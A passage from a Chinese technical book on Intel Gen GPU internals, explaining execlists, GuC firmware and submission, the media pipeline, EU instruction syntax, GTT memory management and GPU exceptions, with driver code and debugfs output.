RING_START: 0x03543000 [0x03543000]
RING_HEAD: 0x00003464 [0x00003380]
RING_TAIL: 0x000035a8 [0x000035a8]
RING_CTL: 0x00003001 []
ACTHD: 0x00000000_00a20264
BBADDR: 0x00000000_00a20265
Execlist status: 0x00044052 0000000b
Execlist CSB read 4, write 4
ELSP[0] count=1, rq: bf5b6 [b:be3] prio=2147483647 @ 88ms: GpuTest
[6897]/1
ELSP[1] count=1, rq: bf5b7 [2:4f820] prio=2147483647 @ 56ms: Xorg[
1058]/1
Q 0 [7:182e5] prio=0 @ 56ms: GpuTest[5555]/1
Q 0 [b:be4] prio=0 @ 40ms: GpuTest[6897]/1
Q 0 [b:be5] prio=0 @ 40ms: GpuTest[6897]/1
Q 0 [b:be6] prio=0 @ 40ms: GpuTest[6897]/1
Q 0 [2:4f821] prio=0 @ 4ms: Xorg[1058]/1
GpuTest [6897] waiting for bf5b4
Xorg [1058] waiting for bf5b7
值得注意的是,清单中间的活跃请求(active行)为bf5b4,但是
ELSP端口行显示的并不是它,而是bf5b6和bf5b7,导致这种信息不一致
的原因应该是CPU显示两个信息的时间差。在那个时间间隙里,bf5b4
已经执行完毕,而且CPU端又提交了新的请求到ELSP端口。
11.6 GuC和通过GuC提交任务
从Broadwell(Gen8)开始,Gen GPU中都包含了一个x86架构
(Minute IA)的微处理器,名叫GPU微处理器(GPU Micro
Controller),简称GuC。
GuC的主要任务是调度Gen的执行引擎,为Gen提供了一种新的调
度接口给上层软件。增加GuC的目的是提供新的调度方式,逐步取代上
一节介绍的执行列表方式。
11.6.1 加载固件和启动GuC
当作者写作本书时,i915驱动虽然已经包含了关于GuC的逻辑,但
是默认没有启用,使用的提交方式还是执行列表。
要启用GuC,需要在内核参数中加入如下选项。
i915.enable_guc_loading=1 i915.enable_guc_submission=1
在启动时,i915驱动会检查Gen的版本信息,然后尝试加载对应版
本的固件给GuC。
在i915源代码的intel_guc_fwif.h文件中,简要描述了固件文件的布
局。起始部分是个固定格式的头结构(uc_css_header),其中包含版本
信息,以及各个组成部分的大小。头信息后面是编译好的固件代码和签
名信息。
如果i915驱动在加载GuC固件时失败,它会输出类似下面这样的错
误信息。
[drm] Failed to fetch valid uC firmware from i915/kbl_guc_ver9_14.bin (err
or 0)
[drm] GuC firmware load failed: -5
[drm] Falling back from GuC submission to execlist mode
前两行包含i915尝试加载的固件文件路径和错误码,第二行显示加
载固件失败,最后一行表示回退到旧的执行列表提交方式。在内核参数
中增加drm.drm_debug=6可以看到更详细的调试信息。
导致以上错误的一般原因是i915找不到固件文件。一种解决方法是
重新编译Linux内核,并把GuC固件集成到内核文件中。主要步骤是先
把合适版本的固件文件放入Linux内核源代码的firmware/i915子目录下,
然后修改构建配置,通过额外固件选项指定GuC固件。
解决了上述找不到固件文件的问题后,另一种常见的错误是下面这
样的“CSS头定义不匹配”。
[drm] CSS header definition mismatch
导致这个问题的原因很可能是因为从kernel网网上下载固件时下载
了HTML格式的文件。改正的方法是单击链接下载原始的二进制文件。
老雷评点
老雷曾不慎落入这个陷阱,感谢多年好友HM一语点破,并
分享同样经历。
固件文件加载成功后,可以通过虚文件i915_guc_load_status观察其
概况,如清单11-5所示。
清单11-5 通过虚文件观察GuC的加载状态
# cat /sys/kernel/debug/dri/0/i915_guc_load_status
GuC firmware status:
path: i915/kbl_guc_ver9_14.bin
fetch: SUCCESS
load: SUCCESS
version wanted: 9.14
version found: 9.14
header: offset is 0; size = 128
uCode: offset is 128; size = 142272
RSA: offset is 142400; size = 256
GuC status 0x800330ed:
Bootrom status = 0x76
uKernel status = 0x30
MIA Core status = 0x3
在清单11-5中,上半部分是固件的静态信息,包含版本号,三个部
分(头信息、代码和RSA签名)的位置和大小。头结构的大小为128字
节,随后紧跟的代码为142 272字节,RSA数据为256字节。后半部分是
供调试用的状态代码。
11.6.2 以MMIO方式通信
GuC支持多种方式与它通信。一种基本的方式是通过映射在MMIO
空间的16个软件画板(SOFT_SCRATCH)寄存器,其起始地址为
0xC180。以下为i915中的有关宏定义。
#define SOFT_SCRATCH(n) _MMIO(0xc180 + (n) * 4)
#define SOFT_SCRATCH_COUNT 16
16个画板寄存器中,0号(SOFT_SCRATCH_0)用来传递一个动作
码(action),后面的15个用来传递数据。写好画板寄存器后,软件应
该写另一个GuC寄存器(0xC4C8),以触发中断通知GuC。
通过上面提到的i915_guc_load_status虚拟文件,可以观察画板寄存
器的内容,比如以下内容(原输出为一列,为节约篇幅,这里格式化为
3列)。
Scratch registers:
0: 0xf0000000
1: 0x0
2: 0x0
3: 0x5f5e100
4: 0x600
5: 0xd5fd3
6: 0x0
7: 0x8
8: 0x3
9: 0x74240
10: 0x0
11: 0x0
12: 0x0
13: 0x0
14: 0x0
15: 0x0
开源驱动中的intel_guc_send_mmio包含使用画板寄存器向GuC发送
信息的详细过程,在此不再详述。
11.6.3 基于共享内存的命令传递机制
使用画板寄存器每次只能传递少量数据,而且速度较慢,因此它一
般只用在初始化阶段。
GuC支持一种基于共享内存的高速通信机制,称为命令传输通道
(Command Transport Channel),简称CT或者CTCH。
在初始GuC化时,i915驱动便创建一个内存页,并将其分为4部分,
分别用来发送和接收命令的描述(desc)和命令流(cmds)。下面是使
用命令传输通道发送命令的主要过程。
fence = ctch_get_next_fence(ctch);
err = ctb_write(ctb, action, len, fence);
intel_guc_notify(guc);
err = wait_for_response(desc, fence, status);
以上代码来自intel_guc_ct.c的ctch_send函数,第1行获取用于同步的
栅栏ID(Fense ID)。第2行把action指针指向的数据写入ctb指针描述的
CT缓冲区中。接下来触发中断通知GuC有新数据,并等待回复。
例如,下面的代码给GuC发送命令,让其从睡眠状态恢复过来。
data[0] = INTEL_GUC_ACTION_EXIT_S_STATE;
data[1] = GUC_POWER_D0;
data[2] = guc_ggtt_offset(guc->shared_data);
return intel_guc_send(guc, data, ARRAY_SIZE(data));
11.6.4 提交工作任务
在向GuC提交GPU任务前,需要先成为GuC的客户(client)。会给
每个GuC客户分配三个内存页,用于向GuC提交工作请求。第一个内存
页的一部分用于存放描述信息,另一部分用作发送信号的门铃
(DoorBell,DB)区域。后面两个页内存用于存放工作任务,称为工作
队列(Work Queue,WQ)。
通过虚文件i915_guc_info可以观察GuC的客户信息、用于提交任务
的通信设施和任务的提交情况。清单11-6是执行GpuTest一段时间后的
结果(删去了关于log的统计信息)。
清单11-6 GuC的客户信息和任务提交情况
root@gedu-i7:/sys/kernel/debug/dri/0# cat i915_guc_info
Doorbell map:
00000000,00000000,00000000,00000000,00000000,00000000,00000000,0000000
1
Doorbell next cacheline: 0x40
GuC execbuf client @ ffff8a62e1d69cc0:
Priority 2, GuC stage index: 0, PD offset 0x800
Doorbell id 0, offset: 0x0, cookie 0x3ccf
WQ size 8192, offset: 0x1000, tail 3312
Work queue full: 0
Submissions: 15538 rcs0
Submissions: 29 bcs0
Submissions: 0 vcs0
Submissions: 0 vecs0
Total: 15567
清单11-6的起始部分是门铃信息,当主机端的软件写这个区域时,
会触发GuC中断,通知GuC有新的任务。接下来便是“执行链表”客户,
用于接收执行链表格式的任务,便于与老的格式兼容。优先级那一行的
PD代表进程描述(Process Descriptor),后面的0x800表示描述信息在
第一个内存页的后半部分,前半部分是门铃区。以WQ开始的那一行是
工作队列信息,其偏移量为0x1000,即紧邻第一个内存页。清单最后1
行是已经提交任务的总数,前面4行是向每一种执行引擎提交的数量。
11.7 媒体流水线
大约从20世纪90年代开始,数字多媒体技术日益流行。今天,这个
领域更加繁荣,各种音视频应用难以计数。数字多媒体技术的核心任务
是处理音频视频等流媒体,在GPU中,这部分功能统称为媒体
(media)。媒体处理是现代GPU的四大应用之一,也是GEN GPU中比
较有特色的功能。从历史角度看,在G965(Gen4)引入EU时,当初最
重要的应用之一就是媒体处理,当时还很少使用GPU来做通用计算。出
于这个原因,直到今天,Gen的GPGPU编程接口也与媒体功能有很多交
叉和联系,比如在PRM中,媒体流水线和GPGPU流水线是在同一章介
绍的,章名叫“媒体GPGPU流水线”(Media GPGPU Pipeline),其内容
对理解Gen的GPGPU使用非常重要。或者说,即使你对编解码根本不感
兴趣,只是想用GEN的GPGPU功能,理解媒体流水线的背景也是非常
必要的。因此,将按历史顺序,本节先介绍GEN系列GPU的视频处理部
分,然后从下一节开始介绍GPGPU功能,我们仍从经典的G965讲起。
11.7.1 G965的媒体流水线
图11-10是G965(Gen4)媒体流水线(media pipeline)的逻辑框
图。这条流水线包含两个固定功能的硬件单元,一个叫视频前端
(Video Front End,VFE),另一个叫线程衍生器(Thread Spawner,
TS)。VFE从命令流处理器接收命令,把要处理的数据写入名叫
URB(Unified Return Buffer)的缓冲区中。TS根据命令要求计算所需线
程的数量并准备好参数,然后送给GEN的线程分发器,后者把线程分配
到EU上执行。
图11-10 G965(Gen4)中的媒体流水线
值得说明的是,G965中的媒体流水线不是完整的硬件流水线。虽
然VFE中包含了一些专门用于视频处理的功能,比如变长解码
(Variable Length Decode,VLD)、逆向扫描(inverse scan)等,但是
要实现完整的视频编解码,还缺少一些功能。这些功能可以通过算核函
数实现,可以在EU上执行,也可以在CPU上实现。G965 PRM卷2比较
详细地介绍了上述两种方案的关键步骤。图11-11就来自该卷,描述的
是用前一种方式来解码MPEG-2视频流。
图11-11 多方联合解码MPEG-2视频流
在图11-11中,左侧是CPU上的逻辑。视频播放器等宿主软件(host
software)读取MPEG数据流,解析出不同类型的数据块,然后通过驱
动程序和图形软件栈把解码任务和参数以命令的形式提交给GPU的命令
流处理器,后者再送给VFE。在VFE中,先完成变长解码和逆向扫描两
种操作,再通过线程衍生器(TS)和线程分发器(TD)(图中没有画
出TS和TD)送给EU去执行逆离散余弦变换(IDCT)和运动补偿
(Motion Compensation)等操作,最终解码好的数据通过数据端口写到
图形缓冲区中。
11.7.2 MFX引擎
2012年推出的Ivy Bridge(Gen6)对视频功能做了很大增强,对内
部设计也做了较大重构,引入了新的多格式编解码器(Multi-Format
Codec)引擎,简称MFX。MFX是多格式编码器(MFC)引擎和多格式
解码器(MFD)引擎的统称。
MFX中包含了多个用于视频处理的功能块(function block),有些
是专门用于编码的,比如前向变换和量化(Forward Transformation and
Quantization,FTQ)和位流编码(Bit Stream Encoding,BSE),有些
是编解码都使用的,比如预测、运动补偿、逆量化与变换(Inverse
Quantization and Transform,IQT)等。
图11-12是包含MFX的Gen结构图,来自Gen PRM卷7中的“媒体技术
概要”(Generic Media)一节。
图11-12 包含MFX的Gen结构图
图11-12中,把环形接口(Ring Interface)下面的硬件部件分为4大
类,即3D、媒体、位块操作(Blitter)和共享部分。图中标有$的部分
代表不同类型的高速缓存。
值得说明的是,MFX有自己的命令流处理器,简称VCS。这意味
着,MFX有自己的状态上下文,可以独立运行。而3D和VFE等以线条
框起的L形部分共享一个命令流处理器(CS)。
11.7.3 状态模型
包括媒体流水线在内的很多GPU功能都灵活多变,参数众多,如何
定义这些硬件单元的软件接口是个关键问题。接口过于简单,可能会丧
失灵活性和硬件功能;接口过于复杂,软件的复杂度和开发难度可能太
大。
状态模型是解决上述问题的较好折中方案。简单来说,状态模型就
是用一组状态数据作为软硬件之间的接口,相互传递信息。用程序员的
话来说,就是定义一套软件和硬件都认可的数据结构,然后通过这个数
据结构来通信。
在现代GPU中,状态模型是一项重要而且应用广泛的技术。在各个
版本的GENPRM中,都有很多内容涉及它,但是描述最好的或许还是经
典的G965软件手册卷2(见该软件手册的10.6节),图11-12便来自该
卷。
图11-13最左一列画的是环形缓冲区中的命令,最上面一条是著名
的Media_State_Pointers命令,它的主要作用是指定要用的VLD状态和
VFE状态。第2列中画的便是VLD状态,结构体称为VLD描述符。第3列
中画的是VFE状态,它又分为两部分:相当于头结构的VFE状态描述符
和接口描述符(表)的基地址。加粗线条框起来的部分就是接口描述符
表,其中画了 3个表项(原图中有5项,为节约篇幅省略了两项)。
图11-13 G965的媒体状体模型
在每一个接口描述符中包含了多个指针,分别指向算核函数(GEN
的EU指令)、采样器的状态结构体和绑定表(binding table)。
绑定表是与状态模型关系密切的另一项常用技术,它的主要作用是
避免直接用GPU可见的地址来索引较大的数据块。在目前的GPU编程模
型中,CPU端负责准备任务和参数,GPU负责执行指定的任务。这样做
的一个问题是,当CPU端准备参数时,数据块的GPU地址可能还不确
定。绑定表很好地解决了这个问题,首先把要访问的数据列在表里,然
后只要用表项的序号来引用数据就可以了。这个序号有个专用的名字,
叫绑定表索引(Binding Table Index,BTI)。图11-13中,每个绑定表
包含256个表项,每个表项指向一个平面状态结构体。
上面描述的状态模型在后来的Gen GPU中一直沿用着,命令参数和
结构体定义随着功能演进而变化,但设计思想是一样的。除了媒体功能
之外,状态模型也用在3D和GPGPU方面。
11.7.4 多种计算方式
根据编码格式、应用场景和硬件版本等方面的差异,对于某一种编
解码操作,可能选择以下多种方式之一。
使用GPU的固定功能单元,这种方法的优点是速度快而且功耗低,
缺点是灵活性差。这种方法有时简称为(纯)硬件方式。
使用CPU,这种方法一般速度较慢、功耗较高,但具有灵活性高、
编程简单、容易移植和云化等优点。这种方法有时简称为(纯)软
件方式。
通过OpenCL、CM(C for Media)等编程方法产生算核函数,在
GPU中的EU上执行。这种方法有时简称为GPU硬件加速。
因为编解码操作包含很多个子过程,所以也可以为不同的子过程选
择不同的方式,即所谓的混合(hybrid)方案。
11.8 EU指令集
指令集(ISA)是处理器的语言,听其言,不仅可以知其所能,还
可以知其所善为,理解其特性。GEN EU的指令集具有很多非常有趣的
特征,学习它不但可以帮助我们更好地使用GEN的EU,而且可以给我
们很多启发。
在英特尔公开的PRM中,包含了非常详细的EU指令集文档,而且
包含多个版本,从经典的G965(Gen4)到目前很流行的
Skylake(Gen9)和Kabylake(Gen9.5)。以Skylake为例,EU和指令集
位于PRM卷7的最后200页左右。
11.8.1 寄存器
下面先介绍EU的寄存器。当涉及寄存器个数时,如不特别说明,
范围都是指每个EU线程。
GPU的寄存器都比较多,EU也不例外。为了便于组织,分成两部
分,每一部分称为一个寄存器文件(register file)。一个称为通用寄存
器文件(General Register File,GRF),另一个称为架构寄存器文件
(Architecture Register File,ARF)。
GRF可以供编译器和应用程序自由使用,满足任意用途,可读可
写。GRF包含128个寄存器,命名方式是字母r加数字,即r#的形式,每
个GRF的长度都是256位。
顾名思义,ARF是GEN架构定义的专用寄存器,分别满足不同的用
途,各司其职,见表11-3。
表11-3 EU的ARF
类型编码
名称
数量
描 述
0000b
null
1
空(null)寄存器,代表不存在的操作数
0001b
a0.#
1
地址寄存器
0010b
acc#
10
累加寄存器
0011b
f#.#
2
标志寄存器
0100b
ce#
1
通道启用(channel enable)寄存器
0101b
msg#
32
消息控制寄存器
0110b
sp
1
栈指针寄存器
0111b
sr0.#
1
状态寄存器
1000b
cr0.#
1
控制寄存器
1001b
n#
2
通知计数(notification count)寄存器
1010b
ip
1
指令指针寄存器
1011b
tdr
1
线程依赖寄存器
1100b
tm0
2
时间戳(timestamp)寄存器
1101b
fc#.#
39
流程控制(flow control)寄存器
表11-3中的第1列代表该类型寄存器的引用编码。EU指令中有一个
名叫RegNum的字节用于索引架构寄存器,其中的高4位(RegNum
[7:4])用于指定寄存器类型,取值便是表11-3中第1列的内容。
表11-3中的部分寄存器与CPU上的类似,比如ip和sp,前者代表当
前的指令位置,后者用来描述当前线程所使用的栈,并且分成两部分,
一部分描述栈顶,另一部分描述边界(limit)。
在英特尔为Gen定制的GDB调试器开源代码中,有一份很详细的
Gen寄存器列表,位于gdb/features/intel-gen子目录下,分三组描述
Gen75、Gen8和Gen9的寄存器。每一组有两个文件,一个是xml文件,
另一个是.c文件。例如,下面两行代码是关于通用寄存器r0的。
tdesc_create_reg (feature, "r0", 0, 1, NULL, 256, "vec256");
这样的代码有128行,与Gen的128个通用寄存器对应。下面两行代
码是关于控制寄存器cr0和程序指针寄存器的。
tdesc_create_reg (feature, "cr0", 144, 1, NULL, 128, "control_reg");
tdesc_create_reg (feature, "ip", 145, 1, NULL, 32, "uint32");
函数tdesc_create_reg是GDB中用于创建调试目标描述信息的函数之
一,用来创建寄存器描述。第一个参数是描述调试目标特征的
tdesc_feature结构体指针,然后是寄存器名字,名字后面是寄存器的编
号,接着是保存和恢复标志(save_restore),而后是寄存器组的名字,
再后是寄存器的位数,最后是寄存器类型描述。
11.8.2 寄存器区块
GEN支持把EU的128个通用寄存器拼接成一个二维的方形区域使
用,并定义了非常灵活的方式来寻址这个区域中的单个或者多个单元。
图11-14画出了通用寄存器区的一种组织方式。在这个区域的水平
方向,每个寄存器一行,从r0开始,依次递增。在垂直方向,每一列的
宽度是一字节,一共32列,刚好是256位,从右往左,从字节0到字节
31。
GEN定义了两种格式来索引寄存器区域中的元素。一种叫源操作数
区域描述格式,其一般形式如下。
rm.n<VertStride;Width,HorzStride>:type
其中,type用来指定元素的类型,可以是ub | b | uw | w | ud | d | f |
v,分别代表无符号字节、有符号字节、无符号字(16位)、有符号字
(16位)、无符号双字(32位)、有符号双字(32位)、单精度浮点数
和打包形式的半字节向量。最前面的rm.n用来指定寄存器区域的起始点
(origin),m代表寄存器号,n代表子寄存器号(SubRegNum),用来
指定数据从256位寄存器n的哪个部分起始,以元素大小为单位。尖括号
中包含三个部分,以分号和逗号分隔。分号前面是垂直步长
(VertStride),表示垂直方向上两个相邻元素的距离。逗号后面是水平
步长(HorzStride),用来指定水平方向上两个相邻元素的距离,仍以
元素的宽度为单位。可以把这个步长值理解为GEN在操作完一个元素
后,要操作下一个元素时需要移动的幅度。分号和逗号之间的部分是宽
度(Width),用来描述每一行的元素个数。
有了上面的约定后,就可以使用r4.1<16;8,2>:w这样的魔法表示来
索引图11-14中标有0,1,2,3,…,15的16个字(Word,双字节)
了。
图11-14 寄存器区块示例(图片来自GEN PRM)
在r4.1<16;8,2>:w中,r4.1表示从r4寄存器的第1个字起始,水平步长
为2,这意味着处理好第0个元素后,步进两个字便是下一个元素。16代
表垂直方向上两个相邻元素的距离是16个字。
上面介绍的格式是用于描述源操作数的。另一种类似的格式用于描
述目标操作数,其一般形式如下。
rm.n<HorzStride>:type
与源操作数区块格式相比,这里少了垂直步长和宽度。
11.8.3 指令语法
EU的指令很长,普通情况下,所有指令都是128位,即16字节,4
个DWORD。在紧缩(compact)格式中,部分指令可以是64位。本书只
讨论普通格式。
在普通格式中,一般用DW0~DW3来表示一条指令的4个DWORD
,它们的分工如下。
DW0包含指令的操作码(opcode)和通用的控制位,比如后面介绍
的调试控制位(见11.11节)。
DW1用于指定目标操作数(dst)和源操作数的寄存器文件与类
型。
DW2包含第一个源操作数(src0)。
DW3包含第二个源操作数(src1),或者用来存放32位的立即数
(Imm32),这个立即数可以作为第一个源操作数,也可以作为第
二个源操作数。
EU指令的一般格式如下。
[pred] opcode (exec_size) dst src0 [src1]
第一部分是可选的谓词修饰,用来指定执行执行这条指令的前提条
件,目的是让当前线程可以轻易地跳过这条指令。第二部分是操作码,
比如mov等。第三部分是用于描述指令级别并行度的执行宽度
(exec_size),稍后将详细介绍该内容。后面三个部分分别用来指定一
个目标操作数和两个源操作数,这很好理解。
11.8.4 VLIW和指令级别并行
EU指令是典型的VLIW风格,具有很强的指令级别并行能力。在一
条EU指令中,可以定义一套并行度很高的操作。
以执行加法操作的add指令为例,其内部逻辑的伪代码
(pseudocode)如下。
for (n = 0; n < exec_size; n++) {
if (WrEn.chan[n] == 1) {
dst.chan[n] = src0.chan[n] + src1.chan[n];
}
}
其中,chan是通道(channel)的缩写,是EU并行模型中的重要概
念。简单理解,通道是并行执行的逻辑单位,一个通道相当于一条虚拟
的硬件流水线。在Ivybridge(Gen7)之前,每个EU线程最多支持16个
通道,Ivybridge将其增加到32个。这意味着,在一条EU指令中,可以
最多对32组数据进行操作。值得说明的是,通道是逻辑概念,与EU中
的物理执行单元没有直接耦合关系。当通道数大于EU中硬件单元的并
行能力时,EU会自动分成多次操作,一部分一部分地完成。
下面举一些例子来说明EU指令和EU寄存器的用法。假设在3D着色
器中要完成如下操作。
add dst.xyz src0.yxzw src1.zwxy
那么一种做法是从src0和src1两个源操作数各取16组数据,按如下
方式分别放入通用寄存器。
从src0中取r2~r9(16个X分量存放在r2~r3中,Y分量存放在r4~r5
中,Z存放在r6~r7中,W存放在r8~r9中)
从src1中取r10~r17(16个X分量存放在r10~r11中,Y分量存放在
r12~r13中,Z存放在r14~r15中,W存放在r16~r17中)
这里假定每个分量都是32位的浮点数,那么一个通用寄存器可以放
8个分量。
接下来,就可以使用如下三条加法指令来完成上面的计算,结果存
放在r18~r25中。
add (16) r18<1>:f r4<8;8,1>:f r14<8;8,1>:f // dst.x = src0.y + src1
.z
add (16) r20<1>:f r6<8;8,1>:f r16<8;8,1>:f // dst.y = src0.z + src1
.w
add (16) r22<1>:f r8<8;8,1>:f r10<8;8,1>:f // dst.z = src0.w + src1
.x
其中,add指令后面以小括号包围的(16)就是用来指定执行宽度
的,也就是前面提到过的exec_size,有时也写作ExecSize,代表逻辑通
道数量,在这里是16。因为元素是在寄存器中连续存放的,所以源操作
数和目标操作数的水平步长都为1。
再举一个更有趣的例子,图11-15呈现了寄存器区域的另一种组织
方式,每行16字节,一个通用寄存器占两行。图中标出了Src0和Src1两
个区块,各自有16个元素,分为两行,每行8个元素。假设要把它们累
加到一起,并且为了防止溢出,要把相加结果保存为双字节,那么便可
以使用下面这样一条加法指令。
add (16) r6.0<1>:w r1.7<16;8,1>:b r2.17<16;8,1>:b
图11-15 加法指令示例(图片来自GEN PRM)
图11-15中,源操作数区块内的数字代表要计算的数据,目标操作
数区块内的数字表示计算结果。例如,r1.7 = 3,r2.17=9,相加的结果
放在r6.0中,3 + 9 = 0xC。
补充一点,细心的读者可能注意图11-14下方的加法指令,其中,
Src1为r2.1,与本书上面的代码不一致。这幅插图来自公开的PRM文
档,图中所画Src1区域与下方文字不匹配,是个小错误,本书引用时将
其纠正过来。
11.9 内存管理
因为多任务和不断增加的内存需求,今天的主流GPU都支持虚拟内
存技术,简单来说,就是以页表的形式来把物理内存映射为虚拟内存。
为了与CPU端的页表相区分,GPU所用的页表一般称为图形翻译页表
(Graphics Translation Table,GTT)。GEN也不例外,在经典的
G965(Gen4)PRM中,就可以看到很强大的虚拟内存支持,包括全局
的图形翻译页表(Globle GTT,GGTT)以及与进程相关的图形翻译页
表(Per-Process GTT,PPGTT)。
11.9.1 GGTT
GGTT用于映射所有图形任务都可见的虚拟地址空间。或者说这套
页表不会因为任务切换而切换。桌面显示、光标更新等高优先级的公共
任务通常使用GGTT映射的虚拟内存。
在G965的MMIO寄存器中,有一个名为PGTBL_CTL的寄存器(地
址为0x2020),它用于控制GGTT,它的宽度为32位,包含了如下几个
字段。
高20位(Bit 12~31)为GGTT所在物理地址的第12~31位。
第4~7位为GGTT所在物理地址的第32~35位。
第1~3位为GGTT的大小,000代表512KB,100代表2MB,等等。
第0位为启用位,用来启用GGTT。
从Gen5开始,配置GGTT的方法有所变化,因此在i915驱动的
i915_ggtt_probe_hw函数中,使用如下代码分别处理。
if (INTEL_GEN(dev_priv) <= 5)
ret = i915_gmch_probe(ggtt);
else if (INTEL_GEN(dev_priv) < 8)
ret = gen6_gmch_probe(ggtt);
else
ret = gen8_gmch_probe(ggtt);
GTT的格式也是与硬件版本相关的,在G965中是简单的一级映射。
在Ubuntu系统中,可以通过i915驱动的虚拟文件来观察GGTT的内
容。比如,在/sys/kernel/debug/dri/0目录下执行cat i915_gem_gtt命令,可
以看到很多行输出,每一行代表通过GGTT分配的一个对象。比如,下
面一行是供显示功能使用的。
ffff8a447183f180: p 3072KiB 41 00 uncached (pinned x 1) (display)
(ggtt offset: 00040000, size: 00300000, normal) (stolen: 00012000)
其中,第1列是这个对象的基地址,冒号后面是标志部分,可能显
示多种代表内存区状态的标志字符,上面只显示了p,代表这个内存块
处于固定(pinned)状态,GPU硬件正在使用,不可以释放。还有其他
可能的标志:*代表活跃性(active),X和Y代表Tiling属性,g代表发
生过页错误(userfault_count>0),M代表同时映射到了CPU端
(mm.mapping为真)。
标志部分后面是内存块的大小。其后是这个内存区的访问状态,以
两个整数表示,第一个是读者(obj->base.read_domains),第二个是写
者(obj->base.write_domain)。二者都是以置位的方式表示的,位定义
在include/uapi/drm/i915_drm.h中,比如下面的定义。
#define I915_GEM_DOMAIN_CPU 0x00000001
接下来是缓存属性,来自i915_cache_level_str(dev_priv, obj-
>cache_level)。而后还可能出现“dirty”描述,代表该内存被写过。也可
能出现“purgeable”,表示可以删除。相关的代码如下。
obj->mm.dirty ? " dirty" : "",
obj->mm.madv == I915_MADV_DONTNEED ? " purgeable" : "");
接下来的小括号中的内容(ggtt offset: 00040000, size: 00300000,
normal)是内存节点的信息,是如下函数输出的。
seq_printf(m, " (%sgtt offset: %08llx, size: %08llx, pages: %s",
i915_vma_is_ggtt(vma) ? "g" : "pp",
vma->node.start, vma->node.size,
stringify_page_sizes(vma->page_sizes.gtt, NULL, 0));
第一部分的ggtt表示该内存块是从GGTT分配的,后面是偏移量,
然后是十六进制表示的内存块大小(3MB),最后的normal来自其他函
数,代表内存块属性是普通内存块(I915_GGTT_VIEW_NORMAL),
特殊内存块有旋转内存块(I915_GGTT_VIEW_ROTATED)和局部内
存块(I915_GGTT_VIEW_PARTIAL)等。
最后再解释一下最后一部分(stolen: 00012000)。集成显卡一般没
有独立的显存,需要从CPU的主内存“偷”来一部分用作显存。一般是系
统的固件(EFI/BIOS)在系统启动时划出一部分主内存给集成的GPU。
上面这个信息来自以下代码。
if (obj->stolen)
seq_printf(m, " (stolen: %08llx)", obj->stolen->start);
也就是说,如果这个内存块的stolen指针不为空,就输出stolen信
息,后面的数字是这个内存块相对于显存基地址的偏移量。
11.9.2 PPGTT
与CPU上每个进程有自己的地址空间类似,GPU上的每个任务也可
以有自己的地址空间,PPGTT就是为这个目的而设计的。在今天的GPU
软件栈中,一般用GPU上下文来管理GPU的任务,每个上下文结构中,
一般定义一个字段指向它对应的PPGTT。比如,在i915驱动中,可以通
过下面这样的代码获取ppgtt指针。
struct i915_hw_ppgtt *ppgtt = ctx->ppgtt;
PPGTT的格式也是与Gen版本有关的,从Gen8开始,通常使用的是
与x64类似的4级页表格式。4个级别的页表有时用L4、L3这样的方式描
述,有时用专门的名字,分别叫叶映射表、页目录指针表、页目录表和
页表,对应的表项经常简写为PML4E(页映射表项)、PDPE(页目录
指针表项)、PDE(页目录表项)和PTE(页表表项)。
在Ubuntu系统下,可以通过i915的虚拟文件来观察PPGTT。方法依
然是先切换到/sys/kernel/debug/dri/0目录,然后执行cat i915_ppgtt_info命
令。
命令结果中包含所有使用PPGTT的进程,以及每个进程的PPGTT信
息。例如,下面是Xorg进程的信息。
proc: Xorg
default context:
context 1:
PML4E #0
PDPE #0
0x0 [000,000,0000]: = 23a13f083 23a140083 23a141083 23a142083
0x4000 [000,000,0004]: = 23a143083 23a144083 23a145083 23a146083
上述信息来自gen8_dump_pdp函数(i915_gem_gtt.c)。这个函数会
依次遍历PPGTT的4级页表,上面第4行和第5行表示0号页映射表项和0
号页指针表项,接下来本应该有PDE #0这样的页目录表项信息,但是目
前代码没有输出,而是直接输出PTE了。输出PTE的方法是从0号表项开
始每行输出4个表项,以等号分隔成左右两个部分。
左侧的第一个数字是GPU的虚拟地址,也就是4个连续页中第一页
的起始地址,是映射后的虚拟地址。上面倒数第2行对应的是0号PML4E
的0号PDPE的0号PDE的0号PTE,所以其虚拟地址就是0。方括号中的三
个数字分别是PDPE、PDE和PTE编号,依然描述的是该行4项中第一项
的情况。
等号右侧是4个PTE的原始数据,其格式与CPU的非常类似,低12
位表示页属性,高位部分是该页的物理地址。很容易看出,上面显示的
两行一共映射了8个物理页,8个页的物理地址是连续的,页框号从
23a13f到23a146。
11.9.3 I915和GMMLIB
全面介绍GPU的GTT格式和虚拟内存机制超出了本书的范围。上面
的简单介绍只是为了给读者打个基础,为解决调试时遇到的有关问题做
一点准备。对于希望深入学习这部分内容的读者,i915驱动是很好的资
源。此外,英特尔还通过GitHub站点公开了一套名为gmmlib的源代码,
这也是很宝贵的资源。
11.10 异常
与英特尔CPU的异常机制类似,GEN GPU也有异常机制。考虑到
异常机制与调试设施关系密切,本节根据公开的PRM文档,对其作简单
介绍。
11.10.1 异常类型
根据来源和用途的不同,Gen的异常分为多种类型(见表11-4),
这个信息来自公开PRM的EU部分。
表11-4 GEN架构定义的异常类型
类 型
触发或者来源
识 别 方
式
软件异常
GPU线程的代码
同步
断点
指令字中的断点位 IP匹配断点命中 操作码匹配断点
命中
同步
非法指令
硬件
同步
暂停(halt)
写MMIO寄存器
异步
上下文保存和恢
复
抢先调度中断(preemption interrupt)
异步
表11-4中,最后一列是指GPU响应异常的方式,也称为识别
(recognition)方式,它分为同步和异步两种。所谓同步方式是指GPU
在执行过程中“自己意识”到异常并立刻中断当前执行的程序去处理异
常。异步方式的异常都来自GPU外部,当时GPU可能在忙于执行其他任
务,因此它可能不能立刻检测到异常。
上述异常是可以屏蔽的,ARF寄存器中cr0.1的低16位用来禁止或者
启用异常。
当GPU检测到异常后,会设置cr0.1中高16位中的对应位。值得说明
的是,即使某个异常被禁止了,当GPU检测到异常条件时,仍然会设置
对应的异常位。
11.10.2 系统过程
与CPU遇到异常会跳转到软件设计的异常处理函数类似,当GPU遇
到异常时,会跳转到一个特殊的函数,名叫系统过程(system
routine)。简单理解,系统过程就是部署给GPU的异常处理函数。
在跳转到系统过程之前,GPU会把当时的程序指针(Application
IP,AIP)保存到c0.2寄存器中。然后把系统过程的起始地址赋给程序指
针(IP)寄存器。
当执行系统过程后,GPU可以通过s0.2中保存的AIP信息返回应用
程序。当再有异常时,再跳转到系统过程。
在Gen的手册中,经常把系统过程的入口位置称为SIP。在创建GPU
任务时,可以通过STATE_SIP字段来指定系统过程的位置。在使用
Code-Builder等工具调试OpenCL程序时,OpenCL运行时会通过驱动向
